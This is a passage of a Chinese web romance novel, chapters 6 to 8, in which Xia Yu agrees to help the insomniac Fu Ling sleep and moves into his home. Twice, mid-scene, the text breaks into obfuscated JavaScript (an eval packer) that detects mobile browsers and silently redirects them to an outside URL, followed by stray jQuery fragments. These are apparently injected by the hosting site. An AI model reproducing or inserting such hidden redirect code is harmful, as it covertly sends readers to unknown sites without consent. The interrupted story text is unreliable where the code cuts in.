她走到男人面前,确认了下手绳,又瞥向他,试探着慢慢伸手。
就在即将触碰到的瞬间,身后突然传来异响。
刺眼的闪光灯同时照亮楼道。
她下意识回头去看,却被傅泠猛地一拽,后背重重撞在墙上。
又来!
怕再次被他锁喉,夏虞双手交叠,本能地护在脖子前。
但这一回,他没动她,只是压下身来,低声警告。
“别出声。”
视线里是男人宽厚的胸膛,他挡在前方,遮住了所有的光,夏虞只听到相机不断响起的“咔嚓”声。
还有彼此起伏的心跳。
狭窄空间里,她呼气不太顺畅,脑袋晕乎乎的,虽还不至于慌乱,但刚刚被他俯身警告时,她似乎下意识掐住了…
她低头一看。
是他的手臂。
在男人眉头微蹙的凝视中,夏虞悄悄松了手。
漫长的几分钟后,那些突然出现的偷拍者,被保安清理掉了。
“一帮蠢货。”
傅泠松开她,回头看了眼身后空无一人的楼道,又转回视线,“刚才的事抱歉。”
嘴上道歉,神情却平静得像是什么也没发生过。
夏虞侧身整理被他扯乱的衣衫。
“傅先生,您的确应该道歉,但不是跟我,而是跟那些被你伤害过的女孩。”
“那些?被我伤害过的?”
傅泠品着这句话,掀眼看她,“那你倒是说说,我伤害过哪些人?”
距离太近,他眼神太冷,夏虞不由得后退一步。
他再进,“又是怎么个伤害法的?”
“咚”的一声,夏虞后背再次撞上冷硬的墙面。
刚分手的人,到底是共情那些被他“玩弄”的女性,被逼到墙角,她不觉将腹诽的话脱口而出。
“渣男。”
面前极具压迫感的脚步声蓦地停住。
傅泠眸色一沉,“夏小姐是这样看我的?”
“不是吗?”
傅泠双手撑在她两侧,慢慢地,俯下身。
“是不是,得试试才知道。”
6. Chapter 6
出租车碾过潮湿地面,发出沙沙轻响。
夏虞降下车窗。
傍晚,从海面吹来的风灌入,带着咸湿腥味,将她额前碎发吹乱。
但后背渗出的那层薄汗,却顽固地黏在毛孔上。
怎么也干不透。
坦白说,方才在楼道里,她不是没被傅泠吓到。
为了威胁她,他竟连那样暧昧到恐怖的玩笑,都说得出口。
“傅先生放心,我这辈子都不会再跟傅家的人,扯上任何关系。”
视线杠上。
硬碰硬地。
她一字一句,掷地有声。
话音落下的那一刻,整个楼道像陷入真空,顿时寂静得可怕。
男人眯眼看她,深棕色瞳仁释放出某种清冷危险的气息,他双手撑在她身侧,高大身躯几乎将她全然笼罩。
如同一座迷雾重重,怎么也走不出的山。
视线所及之处,是他微微滚动的锋利喉结,她觉得自己像被猎捕的食物,下一秒就会被猎人吞入腹。
保安早已离去,狭窄隐秘的空间只剩下他俩,若他真想对她的挑衅做点什么,简直易如反掌。
可最终,他只是发出一声短促的冷笑,松开她,转身离去。
出租车拐上坡道,盘旋而上。
右侧窗外,墨蓝色的海面在月光下起伏,海浪声阵阵,沉闷,像小兽的呜咽。
夏虞发怔地望着夜色中的大海,恍惚觉得,自己像是忘记了什么重要的事。
后视镜里,一辆黑色轿车不近不远地尾随着,她也并未在意。直到出租车在家门外停稳,她才发现那辆车也跟着停了。
车门打开,迈步而出的男人,竟然是李隽。
“夏小姐,这是你落下的东西。”
李隽快步上前,将一条暗红色的手绳递给她。
原来是忘记了它。
夏虞意外又欣喜地接过,“谢谢你,李隽。”
“是傅泠让我送过来的。”李隽解释说:“今天他正好来商场巡查,碰巧路过拳馆,就捡到这东西。”
至于傅泠为何不在拳馆就当面把东西还给她,还要引她上楼去取,李隽没提。
毕竟,他也摸不准老板恶作剧的心思。
夏虞握着红绳,一时沉默下来。
“夏小姐,你可能误会他了。”
看出她的心思,李隽将林珊珊的事解释了一遍。
简单来说,两人是通过傅泠的姐姐傅婧认识的。
一个月前,傅婧让傅泠顺路给刚失恋的林珊珊送东西,不料这个西山科技千金、新晋人气模特竟对他一见倾心。
后来,她用傅婧的名义约他,傅泠被骗赴约,林珊珊竟私自安排狗仔偷怕,并任由媒体编出傅泠“横刀夺爱”的剧情。
傅婧信以为真,开始撮合他俩。
傅泠生平最讨厌被算计,直接拉黑了林珊珊,没想到她竟找上门来,还蠢到想故技重施,用舆论逼他就范。
只可惜,傅泠并非她想象中那种会怜香惜玉、且束手束脚的人。
“所以夏小姐,其实傅泠并不是你说的那种…”他清了清嗓子,“渣男。”
“至于林珊珊口中的其他女人,也不过是他为了清净,故意让人散播的谣言罢了。”
夏虞平日里不关注八卦新闻,听得一时愣住。
一股窘迫感爬上耳根。
对于自己刚才的误解和自以为是的指责,她一时有些惭愧,张了张嘴,只挤出一点干涩的气音。
“…这样啊。”
李隽包容地笑笑,又将一个黑色封皮的资料递给她,“这是他这些年的病历,你可以仔细看看。”
迟疑片刻,夏虞接过了那份文档。
厚厚的一叠英文病历,跨度长达五年,记录了傅泠几乎每月一次的治疗。她目光掠过那些密集的、令人晕眩的专业术语,像是在看复杂的论文。
直到几个关键的单词撞进眼里。
【神经系统】
【幻觉】
【不可逆损伤】
【摧毁】…
因为陈秋莲曾有过短暂的失眠,夏虞陪她看病吃药,对失眠有一定的了解。
但这份病例,已经远远超出她的认知。
可以说非常地…触目惊心。
呼吸在那一刻下意识屏住,她握着病例的指尖,微微发凉。
若非亲眼见到这白纸黑字,她恐怕会认为,李隽的话不过是在危言耸听。
“夏小姐,我知道这件事对你来说太过冒昧,但如果不是实在没有其他办法,我们也不想这样强人所难。”
“所以这件事,还请你再认真考虑下…夏小姐?夏小姐?”
李隽说着,发现夏虞一动不动,整个人像被定住般,一时有些摸不准。
夏虞蓦地回过神。
她缓缓合上病例,没有表态,只轻声说道:“平安绳的事,麻烦你替我跟他说声谢谢。”
也不知刚才的话,她听进去没有,但她既已做出送人的姿态,李隽不好再多言,只笑笑。
“道谢的话,恐怕得夏小姐你亲自说。”
他转身离去,只留下夏虞独自站在夜风微凉的棕榈树下。
一手是失而复得、意义重大的红绳。
一手是另一个人,煎熬无眠的五年。
--
洗完澡后,夏虞重新戴上平安绳,几年过去了,褐色珠子变得更有光泽。
尤其是“鱼”字,像一尾游动的鱼,越发活灵活现了。
她记得这东西刚做好时,陈秋莲指腹上还贴着创可贴,边往她手腕上套,边叮嘱。
“无论什么时候都别取下来,可以保平安的。”
她当时腕骨一拧,故意唱反调:“如果掉了呢?”
“那就是它替你挡灾了。”陈秋莲手下用力,把绳子结扣系得紧紧的。
“那如果被人捡回来了呢?岂不是灾难又回来了?”
“说什么蠢话!”陈秋莲笑着拍了下她手背,“有人替你捡回来,你得好好感谢别人。”
关于这个手绳最深刻、也是最后的记忆,停在陈秋莲去世那一天。
那只因病变得枯瘦的手,突然爆发出骇人的力气,死死抓住自己的手腕,抓着这个绳子。
她都不知道油尽灯枯的母亲,是如何爆发出这么大的力量的,几乎让她疼出了泪。
她瞪大眼,干裂的唇翕动着,似乎想说什么,但最终什么也没来得及说,就闭了眼。
夏虞知道,不管她未道出口的话是什么,这东西都丢不得。
不过,傅泠这人还真是奇怪,按照他的行事作风,分明可以利用这个东西来跟她谈条件。
可他没有。
视线扫过床头柜的病历,她沉吟半晌,翻出某个电话号码,斟酌许久,在对话框里敲下一条信息。
【傅先生,下午的事很抱歉,是我失言了。另外,谢谢你替我捡到了平安绳】
时间一分一秒过去。
傅泠的回信却迟迟没来。
她有些气馁。
也是。
“渣男”的指控并非小事,岂是隔着屏幕一句轻飘飘的道歉,就能缓和的?
更何况,对方还是脾气不太好的人。
她摁熄屏幕,正准备将手机扔到一旁,一声短促的“滴”,打破卧室的寂静。
【你知道,我想听的不是这个】
--
同样经历了一个混乱周末的,还有许妍。
许妍父亲许国华那家经营了十几年的装修公司,突然被人实名举报材料不合格,不仅被勒令停业调查,连账户都被冻结了。
她这两天为这事跑断了腿。
“不过还好,一切还在调查中,就是我奶奶吧,给急得心脏病发作,人还在医院呢。”
“要紧吗?”夏虞面色担忧道。
许妍猛灌了口拿铁,点点头,“命是救回来了。”
“但调查需要时间,我奶奶的身体现在就像耗干的油灯,再也经不起风吹草动。”她一脸倦怠地打开电脑,叹口气,“要最后真出点什么事…”
说实话,使用劣质材料这件事,夏虞怎么也不信。
她太了解许父的为人了。当初她买下那套二手公寓时,囊中羞涩,许妍便让父亲用“成本价”帮忙。
许国华何止是没赚钱,他简直把她的房子当自家的一样操心,水电线路亲自盯,材料选的都是环保且质量上乘的,预算超支也没告诉她。
最后还是许妍说漏了嘴。
这样一个把信誉看得比命还重的老匠人,会昧着良心用劣质材料?
除非天塌下来。
“知道是谁举报的吗?”
也许是她草木皆兵了,夏虞心里有种不好的预感。
“问题就出在这儿。”
许妍“嗒”一声放下咖啡杯,“我爸公司以前接的都是些小单子,这次不知走了什么运,居然能竞标‘鼎盛集团’那个酒店的项目…”
她没再说下去,但意思不言而喻,举报信来得太巧了。
见夏虞面色凝重,许妍反倒扯出个浅淡的笑,宽慰她。
“放心吧,身正不怕影子斜,我相信我爸不会有事的…只是,需要点时间。”
虽然她奶奶最缺的就是时间。
“对了我堂妹今天生日,晚上找了个地方嗨,你也一起来吧?”
许妍没有再继续这个沉重的话题,转而提议道。
夏虞还想着许国华的事,以为自己听错了,一时讶异:“你还有心情去玩?”
“这不是跟你学的松弛吗?”
许妍嘴角扯出苦涩的弧度,实话道:“得去啊,得做出一副轻松的做派,不然这提前定好的聚会取消了,我奶只会更忧心。”
夏虞缓缓点头,“行,准备去哪儿?”
“还是白夜里,那地儿环境不错…”
话音落,许妍突然想起什么,立刻瞥向一旁的人。
那晚,夏虞提前离开白夜里后,她拨了电话过去,追问之下,才知道傅斯洲的事。
“你要实在不想去。”见夏虞抿唇不语,她懊恼地补道:“就别勉…”
“好啊。”
这回夏虞却出乎意料的爽快,抬起头,冲她笑笑。
“我去。”
--
许妍堂妹罗茜包下一楼外场的某个区域,送上礼物后,夏虞便找了个角落的位置坐下。
她状似无意地环视四周,目光掠过喧闹人群,却没捕捉到那个熟悉的身影。
许妍招呼完朋友,走过来挨着她坐下,“找什么呢?”
“没什么。”夏虞端起面前的水杯,“随便看看。”
“听说这儿的老板挺帅的,可惜每次来都碰不上…”
许妍拿出口红补妆,随意朝吧台那边瞥了眼,突然,眼睛一亮,“今天还真是走运了。”
她将夏虞的脸转过去,“瞧见没?吧台边那个寸头帅哥,就是这里的老板,平日里很难见到的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490636|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
夏虞顺势抬头。
灯光幽蓝的吧台旁,她猝不及防看见一张年轻英俊的脸。
她再熟悉不过的脸。
依然是一身宽松的黑衣,寸头,薄唇紧抿。冷色调的灯光,将他身上那种生人勿近的冷冽气场,放大到极致。
此时的傅泠,正专注手中的雪克壶,袖口随意挽至小臂,手腕稳定而快速地摇晃,游刃有余。
夏虞的心跳突兀地踩空了一拍。
并非恐慌,而是一种临上战场前、极致的心脏皱缩。
“的确是秀色可餐啊!不过气场太强太冷了,不是我的菜。”许妍将五指牢牢握紧,“我呢,还是喜欢能被我掌控的。”
过来送酒的罗茜揶揄道:“就算你想背着陆煦红杏出墙,人家也未必看得上你。”
两姐妹呛声打闹一顿,最后许妍搂着堂妹的肩膀,意味深长地看向夏虞。
“我俩是没机会了,但你行啊!正所谓旧的不去新的不来,忘记一个旧人最好的办法,就是立马找个新的、更好的。”
罗茜也跟着凑热闹:“要不要姐妹帮忙,替你拿下这个极品大帅哥?”
什么乱七八糟的。
夏虞无语地叹口气,放下水晶杯,一手一个,将两个令人头痛的女人,推去了大部队那边。
她下意识朝吧台方向望去,话题中心的男人,已经不在了。
若有所思地收回视线,夏虞扫了眼桌上那些昂贵又陌生的酒,随手拿起一瓶设计别致的,正要往玻璃杯中倒,就被一个低沉的声音打断。
“这些酒不适合你。”
旁边的黑色皮沙发陷下,她偏头一看,吧台边消失的身影,不知何时来到了她这里。
“试试。”
傅泠拿走她手里的威士忌,递上一杯冰蓝色的酒。
夏虞扫过那杯如同深海般的酒,又抬起头,认真地看着他,看着他深棕色的瞳仁。
几秒后,她垂下眼睫,接过那杯像在唬小孩儿的饮料。
“谢谢。”
抿了口酸甜的酒液,短暂的沉默后,她抬起手腕,晃了晃。
“那个,昨天的事也谢谢你了。这条平安绳,对我很重要。”
傅泠的目光在她腕间短暂停留。
他淡淡地“嗯”了声。
“你最近的睡眠问题,是更严重了吗?”
她喝了口饮料,切入主题,又补了句:“哦,我昨天听李隽提起的。”
她可没特意打探他的事。
傅泠拿起桌上不知谁的打火机,语气轻描淡写,“谈不上严重不严重的,几年如一日,早习惯了。”
说完,见她安静地盯着自己,眼神专注得像是在思考什么,深究,似乎还带着点他很不习惯的...怜悯?
“怎么,今晚来这里,是想通了?”他轻声嗤笑。
夏虞转开目光,低头轻叩酒杯,半晌,不答反问。
“傅先生,如果人身上的磁场真的有用。”她抬起头,直视他的眼睛,“那为什么是我,而不是别人?”
为什么是她,而不是别人?
这个问题傅泠自然也想过,但觉得没有深究的意义。
此刻她如此坦率地问出,他倒是有些惊讶。
若是从其他人口中听到这类问题,他大概会认为对方是在试探。
但她不会。
她身上有种干净的气质,不贪心,哪怕天上掉馅饼,她大概也只会打个哈欠,转头回去睡她的觉。
“坦白说。”傅泠迎上她的目光,“我也想知道为什么。”
他将火机轻声掷在桌上,向后靠进沙发,长腿交叠,目光锁在她脸上。
夏虞不再追问。
她沉默地端起酒杯,仰头将整杯酒灌完,玻璃杯“咚”一声磕在桌上。
“好,这件事我可以帮你。”
傅泠眼眸轻抬,“真想明白了?”
“说‘没有’,你就会放过我了?”
男人发出一声短促的笑,不是嘲讽,而是那种极为难得的,发自真心的笑。
慢慢地,他收起笑,伸手,五指牢牢扣住她手腕。
在她微微诧异,但又并不慌乱的目光中,一把将她从沙发上拉起。
他领着她一路穿过喧嚣人群,踏着灯影,径直走向后门。
他的脚步急促,手上力度不大,但夏虞却觉得手腕有些发痒、发烫。
后门外是一条幽静的小巷,两边路灯列阵,寂静无人,只有栀子花的香味弥漫在空气中。
树下停着一辆黑色宾利。
傅泠拉开车门,一手护在车顶,另一手不由分说地,将她送进后座。
他想干什么?
她怎么就莫名其妙地,什么都不问,就跟着他出来了?
沉黑的夜晚,狭小密闭的空间,酒气上浮,夏虞感觉心跳在渐渐失速。
“喂,你要做什么?”
她喉咙变得有些干涩。
傅泠没有回答,关上车门,径直绕到另一侧上车。
随即,“咔哒”一声,车门落锁。
“傅泠,你到底要做什么?”
呼吸变得急促,像被裹在一层不透风的薄膜里。
夏虞抬手捂住有些难受的心脏,她还是小看了那杯酒。
而身旁,危险的男人却在此时靠近。
视线暗下,混合了淡淡酒香的木质香味里,男人伸手替她系上安全带,动作间,清晰地吐出两个字。
“睡觉。”
7. Chapter 7
夏虞还是小瞧了那杯冰蓝色的酒。
她自认没醉,可“睡觉”两个字入耳,思绪竟有些卡顿。
什么意思?他到底要干吗?
还没弄清他的确切深意,她的手已经本能地抵住他的胸膛。
傅泠动作顿住。
他低头看向横在胸前的手,指甲粉白圆润,腕骨纤细,仿佛一折就断,却又固执地绷着一股劲儿。
她的呼吸已经有些乱了,从耳根到锁骨,红成一片,眼睛却又亮晶晶的,一瞬不眨盯着他。
这让他想起曾经在北欧森林里,见过的一头麋鹿。
被猎枪对准时,湿润的眼睛也是这般,倔强警惕,交织着些许本能的恐惧。
若他是猎人,此刻就该扣动扳机。
可他不是。
安全带“咔嗒”一声轻响,傅泠散漫地撤身,头仰靠进真皮座椅里,喉结在阴影中滚动。
“不是答应帮忙?”
他眼皮沉沉落下,最后几个字碾碎在倦意里。
“先让我睡会儿。”
哦,睡觉。
字面意思的睡觉。
夏虞用力掐了下自己的脸颊,又闭上眼,使劲晃了晃脑袋,然后卸下所有防备,跌回椅背。
车子启动,凉风涌进燥热的车内,她清醒了不少,于是后知后觉地想起他刚才冷静又玩味的笑。
他在戏弄她。
恶劣,但很符合他的人设。
可再往深处细想,她忽然觉得后脑发紧。
方才在白夜里,她竟会不假思索地跟着他离开,这种近乎本能的信任,让她不禁陷入沉思。
车驶出静谧小巷,慢慢进入霓虹闪烁的主路,湿漉漉的街道,人不多,空气是洁净微凉的。
安静的空间里,夏虞带着几分好奇,偏头打量睡觉的男人。
他的呼吸匀长而平稳,长长的睫毛覆下暗影,整个人被夜色衬得格外温柔。
跟他平日里那副清冷的模样,截然不同。
还真睡着了。
亲眼见证自己的“助眠”作用,夏虞心头依旧浮上一丝难以置信的涟漪。
母亲陈秋莲也曾有过一段失眠的时光,看了不同的医生,吃过很多药,都收效甚微。
但有时环境的变化,会带来短暂的作用。比如白色床单,会比深色的,更容易让她入眠。
如果说人也是环境的一部分,那她的磁场能让傅泠入睡,这件事就显得没那么荒唐了。
但陈秋莲的失眠症,在她考上市一中后,就不药而愈。
所以她的心病,是自己。
那傅泠呢,他的心病又是什么?
不知为何,她突然觉得这个男人也挺可怜的,看似什么都拥有,却无法拥有活着最重要的东西。
睡眠。
车驶入高架桥,桥两侧是怒放的月季,红与粉相间,在晚风中招摇,而远处是钴蓝色的天幕。
收回打量的视线,夏虞不问目的地闭上了眼,随着匀速行驶的车,慢慢驶入眼前这幅画中。
傅泠是被手机震动声吵醒的。
睁开眼,他抬腕看了下时间,睡了四十分钟。
短短的深眠,他却像是睡了个很长的觉,周身疲惫竟一扫而空。
从没陷入过黑夜的人,根本不懂这种感受有多难得。
再一次确定她的作用,傅泠依旧有些讶异。
如果他是研究睡眠的科学家,一定把这家伙带到实验室,好好研究下,她身上到底有什么特别的地方,竟然可以治病救人。
他侧过脸,旁边的女人不知何时已经睡着了,目光流连过她精巧的鼻尖,再落到微张的红唇上。
刚才他不由分说将她从白夜里带走,她分明是存疑的,却还是跟着他走了。
没人能在他面前这样胆大。
也没有人像她那样,似乎全然不怕他。
夏虞不知道自己睡了多久,再睁眼时,尚未完全清明的视线里,是白夜里明晃晃的招牌。
已经回来了?
她揉着眼睛,下意识看向身侧,傅泠不知何时已经醒了,正低头查看手机。
他怎么没出声叫她?
是在特意等她睡醒?
“三个小时。”旁边的人在这时突然出声。
什么三个小时?
夏虞惺忪又疑惑地望着他。
“还差三个小时,刚好三天。”傅泠抬腕看了眼时间,转头对她说:“我说过的,三天内,你会回来找我的。”
他在向她炫耀自己的胜利。
这场赌局,他赢了。
她不仅来自投罗网了,甚至,比他预计的时间更早。
夏虞抿唇浅笑,“嗯,就凭傅先生的手段,应该不会有输的时候吧。”
对于她的嘲讽,傅泠并未在意。结果是满意的,其他的便不重要。
他放下手机,“既然如此,就来谈谈合作的条款。”
夏虞稍稍整理衣摆,坐直了些,摆出倾听的姿态。
“关于报酬,我会按照市面上专业助眠师薪水的三倍给你,至于合作期限…”
他略微顿了下,“半年。”
夏虞点点头,没有提出异议。
坦白说,薪水超出她的预期,或者说,她都没想过薪水这回事。
但这笔钱对他而言,实在是九牛一毛,她也就不浪费时间推辞了。
她在心里粗略算了算,“所以到过年的时候,我就自由了?”
傅泠看着她,“嗯,那时你就自由了。”
像是假装没看到她一闪而过的笑,他继续沉声道:“你有什么要求,也可以提。”
夏虞敛去面上的笑,顿了顿,面色严肃地开口。
“我有一个同事叫许妍,她父亲的装修公司被举报,这件事,如果是你做的,我需要你停止。如果不是,我需要你帮忙。”
傅泠沉吟片刻,问她:“那你觉得,是不是我做的?”
“...是吗?”
男人没什么表情,“这种小公司,还轮不到我出手。”
“那你说的三日赌局…”
“我赌你会心软。”
夏虞一时错愕:“为什么?”
“夏虞。”
傅泠转头凝视着她,语气沉沉,“你连一条奄奄一息的鱼都舍不得放弃,更何况是一个人。”
心软在他这里不是什么好品质,但放在她身上,他很赞赏。
这个理由,未免有些牵强。
脑子里短暂宕机,夏虞问:“那如果我不心软呢?你打算怎么做?”
他根本不像是那种会守株待兔的人。
“你现在最在乎的是什么?”
夏虞沉默下来。
她无亲无故,也没什么软肋,朋友只有许妍一个,但按照他刚才的说法,这人哪怕干点坏事,也是要挑的。
许妍父亲的小公司根本入不了他的眼。
“难道是...星河?”
她讶异的同时,脊背蹿过一阵凉意。她虽然对事业没有野心,但也不打算换公司。
傅泠笑笑,没有回答,他推开车门,交代说:“给你一周的时间准备,周末来接你。”
“对了——“
下车前,他突然转头看着她,“举报的事,虽然与我无关。但那家公司参与竞标,的确是收到了我们这边的邀请。”
“集团需要重新筛选所有的合作方,大企业小公司,我都敞开合作的大门。”
“我的初衷是公平竞争,但…”
夏虞没有等来他的后半句话,片刻的安静后,只听见“砰”的一声。
他走了。
对于他的这番解释,夏虞有些意外。
举报的事跟他无关,相反,他还给了小企业公平竞争的机会。
只是,有竞争的地方,总会有撕咬。她明白他最后的意思。
都说他做事不讲人情,但其实,只有客观与理性,才能带来相对公平的结果。
不过话又说话来,她觉得自己此刻应该后怕,怕星河因为自己而被连累。
可比起后怕,她竟有些…头皮发麻。
他看透了她,也利用了她的弱点。
然而更让她头痛的是,她的生活,很快就要跟一个充满危险的男人,绑在一起了。
--
傅泠给了她一周的时间准备。
她也的确需要些时间做心理建设,比如昨晚,想起这件事,想起最近的种种意外,她几乎到后半夜才睡着。
好在,许妍父亲的事两天后便尘埃落定。
“真是邪了门,调查速度突然跟坐了火箭似的,不过总算是还我爸一个清白了。”
清晨的办公室里,许妍抿了口咖啡,眉飞色舞道:“更邪门的是,举报人竟然还亲自登门道歉,说是鬼迷心窍,怕我爸拿下项目才使坏。”
“那就好。”夏虞松了口气,“奶奶呢?”
“一听到这消息,病都好了一大半,非要回家养着不可。”
许妍得意地扬起下巴:“看吧小鱼?我就说吃吃该喝喝,事情总会解决的。”
晨光透过百叶窗照进,暖暖的,驱散些许倦意。
夏虞笑了笑,“嗯,许大哲学家说得对。”
“对了。”许妍突然凑近,压低声音:“那晚在白夜里,你怎么溜得那么快?”
“就..临时有点事。”
夏虞垂下眼睫,专注地搅动着手中的泡腾片。
“什么事那么急,招呼都不打一声…不对,有情况。”许妍眼睛一亮,“坦白从宽,是不是被哪个男人给勾走了?”
夏虞抬眼看她,一脸无奈,“真没有…”
“挺好!”许妍拍了拍她的肩,“这样你很快就能忘记傅斯洲那个渣男了。”
夏虞:“…”
--
去傅泠家前,夏虞重新安置了那尾天使鱼。
每日持续不断的用药,让这家伙慢慢好转,身上的白点消失不见,总算是活了下来。
但天使鱼喜欢群居,这样形单影只地,呆在这方寸大的鱼缸里,未免太过孤独。
不是没想过给它寻几个伙伴,但夏虞终究放弃了。
她负担不起这么多的生命,再者,她此前跟傅泠提起过鱼的事,但他似乎不太喜欢鱼这类生物。
最终,她将天使鱼托付给了附近水族馆的老板,阿楠。
阿楠是个爱鱼人士,见她如此诚恳,主动提出自己养着,不会转卖。
“要不,你给它起个名字吧。”
阿楠将天使鱼从手提式鱼缸里捞出,放进了大鱼缸,那里成群结队的天使鱼,摇曳着,发着五彩的光。
夏虞看着它蓝色尾巴上那个小小的红点,“那就叫…小玫瑰。”
小玫瑰像是听到她的话,转过头来,对着鱼缸外的她,摇了摇尾巴,然后一个摆尾,随着小伙伴一道,游向鱼缸的深处。
--
转眼到了周末。
傅泠对助眠这件事的上心程度,似乎超过夏虞的想象。
周六上午,她人还在被窝里,就被铃声吵醒,伸手摸到手机,迷糊着按下通话键。
“没醒?”
久违的带着磁性的男声贴耳传来,像是从枕絮里生出的声音,隔着层纱,不太真切。
“嗯。”
脑子还没清醒,她含糊应答,还没意识到这通来电的缘由。
那头静了片刻,“我下午过来接你。”
接…什么?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490637|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她翻了个身,慵懒睁开眼皮,窗外雨声裹挟着真实世界的噪音,扑面而来。
夏虞浑身过电般微微一颤,想起一个残酷的事实。
今天要搬家,搬去这个男人的家里。
可现在才不到九点,他到底在急什么?
昨晚加班睡得晚,此刻被吵醒,颇有些头疼,她瞥了眼立在墙根的行李箱,尽量让自己声线平缓。
“傅先生,我还没收拾行李,明天可以吗?”
“什么也不用带,你人过来就好。”
他似乎有些感冒,鼻音略重,语气还算温和,只是带着惯常的强势。
看来是躲不过了。
这事在她答应的那一刻,便没有回头路了。
如今伸头也是一刀,缩头也是一刀,拖延个一时半会,也没有太大的意义。
怔怔盯着玻璃窗上蜿蜒坠落的雨滴,夏虞放弃挣扎。
“好,我知道了。”
行李是昨晚便收拾好的,东西不多,隔得近,缺什么随时可以回来拿。
她打开行李箱,准备再检查一遍,脑子里突然电光火石般,闪过什么。
她好像还没跟他确认过一件事。
一件很要命的事。
她需要跟他…睡在同一张床上吗?
这件事,傅泠从没提起过,若她现在突然去问,他会不会觉得自己在找借口,想临阵脱逃。
将行李箱重新锁上,夏虞环视卧室,最后,将视线定在床头那只白色的月桂兔抱枕上。
--
下楼时,傅泠的车已经到了。
男人穿着黑衬衫黑西裤,身姿挺拔,正站在棕榈树下讲电话,时不时拢唇,咳嗽两声。
没想到他会亲自来接,在他抬眸的瞬间,夏虞下意识将一米长的玩偶往身后藏了藏,试图降低它的存在感。
但为时已晚,他一眼便注意到了这东西,目光似深似淡地扫过,迅速掐断电话,朝她走过来。
“走吧。”
什么也没问,傅泠利落地接过她手中的东西。
他是个聪明人,不可能没看穿她的意图,却什么也不解释。
这似乎坐实了夏虞的猜测。
她用冰凉的手拉开后座的门。
“去前面,副驾。”
正将行李往后备箱放的男人开口道。
夏虞怔了下,没去看他的表情,转而钻进了副驾驶。
“怕我吗?”
车驶出巷口时,傅泠突然开口,像是想确认些什么。
夏虞面目沉静地摇头,“如果怕,就不会答应了。”
“只是有些…不适应。”
这话她没说谎。
她的确不怕傅泠,虽然他这人处处透露着危险,但她很清楚,他不会伤害她。
至于自己在紧张什么。
或许,就像坐上一艘陌生的船,哪怕知道目的地,她也会担心,途中是否会遇见风浪,或是撞上冰川。
傅泠单手扶着方向盘,余光扫过她的侧脸。
从最初的抵死抗拒,到如今的妥协,坦白说,她转变如此之快,令他有些意外。
心软,且聪慧,还有一种识时务的敏锐…优点倒是挺多。
“夏小姐请放心。”
他转回视线,目不斜视盯着前方,面目冷淡,“除了合作,不会有其他任何的意外发生。”
--
傅泠带她去的,并非那晚那个位于城郊的,古堡一样幽秘空荡的大别墅。
而是市中心的一栋老房子。
车抵达时,一位约莫四十岁的女人已经等在门口。
她一身藏青色旗袍、发髻一丝不苟束在脑后,胸前是白玉兰盘扣,精致端庄,但笑容却是温煦的。
“这是惠姨。”傅泠言简意赅地介绍说:“以后有任何事,都可以找她。”
“这就是小虞吧?模样可真水灵!”
惠姨笑着让人接过行李,亲热地挽着她胳膊进门,“你来了就好,这房子总算能添点人气了。”
这是一栋三层楼的房子,前庭花园里,浓郁的花香扑面而来,但环视四周,却只有一种品类的花。
帝王花。
它们恣意怒放,以一种近乎霸道的姿态,占据了整座花园。
这个季节似乎并不是帝王的花期,这么大的手笔,想必是花费不少心血和成本维护。
“走吧,我们进去看看。”
走神之际,惠姨在她耳边提醒说。
夏虞点点头,跟着她步入室内。
房子的白色外立面有些年头,但里面却保养得极好,装修以黑金色调为主,地板光可鉴人,倒映出上方极简的黑色吊灯。
跟着惠姨简单熟悉环境后,傅泠将她带到二楼的次卧门前。
“这是你的房间。”
一股淡淡的茉莉清香袭来,夏虞探头望进去。
虽是次卧,但房间不小,卫生间、衣帽间一应俱全,甚至还带了个面朝花园的露台。
白色的家具,磨毛质地的灰色床品,从落地窗照进的阳光…是个温暖舒适的房间。
但这都不重要。
重要的是,她拥有一个完全独立的房间。
这意味着,她不需要跟他同床共枕了?!
一阵巨浪般的欣喜漫过心尖,夏虞悬着的一颗心,悄然落下。
但想起什么,她努力压住不自觉上扬的嘴角,清了清嗓子,故作关切地看向身后的傅泠。
“那个…我睡在你隔壁,能起到作用吗?”
“当然不能。”
男人站在二楼方厅的嵌入式冰箱前,伸手从里面取出一瓶薄荷水,转过头,深棕色眼睛扫向她。
“你晚上来我房间。”
8. Chapter 8
听见傅泠的话,夏虞僵在了原地。
所以兜了一大圈,她还是要跟他睡在同一张床上吗?
这意味着,薄薄的被单下,她将无可避免地,触碰到男人坚实的身躯。
他的胸膛,温热的体温,耳畔的吐吸…
哪怕提前做过心理准备,但一想到这些,她依旧有些晕眩,闭了闭眼,故作镇定地望向傅泠。
傅泠放下薄荷水,“跟我过来。”
夏虞机械地跟上。
周遭的世界仿佛被按下了静音键,一片死寂。
直到,两人在主卧门前停下。
她不抱任何希望地抬眼,目光却骤然凝固。
宽敞的卧室里,一大一小两张床,泾渭分明地摆放着。中间隔着一段恰到好处、足以令人安心的距离。
“次卧给你用,晚上过来就行。”
傅泠双手插兜,低头审视着发怔的女人,像个掌控全局的人,饶有兴致品味着她眼底的起起落落。
她怀里那只兔子是什么用意,他当然懂。但他偏偏不点破,也不解释。
她越喜欢逞强。他就越喜欢看她佯装镇定的模样。
方才她假意关心时,那眼里狡黠的笑,他也不是没察觉。
得了便宜还卖乖,他突然就起了心思,想吓唬吓唬她。
“有问题?”
